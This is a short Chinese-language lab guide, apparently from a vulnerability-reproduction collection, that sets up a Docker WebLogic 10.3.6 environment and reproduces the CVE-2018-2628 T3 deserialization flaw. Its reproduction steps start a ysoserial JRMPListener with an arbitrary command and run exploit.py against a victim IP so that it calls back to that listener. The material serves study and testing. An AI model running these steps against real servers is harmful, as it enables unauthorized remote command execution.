Weblogic WLS Core Components 反序列化命令執行漏洞（CVE-2018-2628）

Path weblogic/CVE-2018-2628

Oracle 2018年4月補丁中，修復了Weblogic Server WLS Core Components中出現的一個反序列化漏洞（CVE-2018-2628），該漏洞通過t3協議觸發，可導致未授權的用戶在遠程服務器執行任意命令。

參考鏈接：

• http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
• http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
• https://github.com/tdy218/ysoserial-cve-2018-2628

漏洞環境

執行如下命令啟動Weblogic 10.3.6.0：

docker-compose up -d

等待環境啟動（環境差異，有的機器可能等待的時間比較久），訪問http://your-ip:7001/console，初始化整個環境。

漏洞復現

首先下載ysoserial，并啟動一個JRMP Server：

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

其中，[command]即為我想執行的命令，而[listen port]是JRMP Server監聽的端口。

然后，使用exploit.py腳本，向目標Weblogic（http://your-ip:7001）發送數據包：

python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

其中，[victim ip]和[victim port]是目標weblogic的IP和端口，[path to ysoserial]是本地ysoserial的路徑，[JRMPListener ip]和[JRMPListener port]第一步中啟動JRMP Server的IP地址和端口。[JRMPClient]是執行JRMPClient的類，可選的值是JRMPClient或JRMPClient2。

exploit.py執行完成后，執行docker-compose exec weblogic bash進入容器中，可見/tmp/success已成功創建。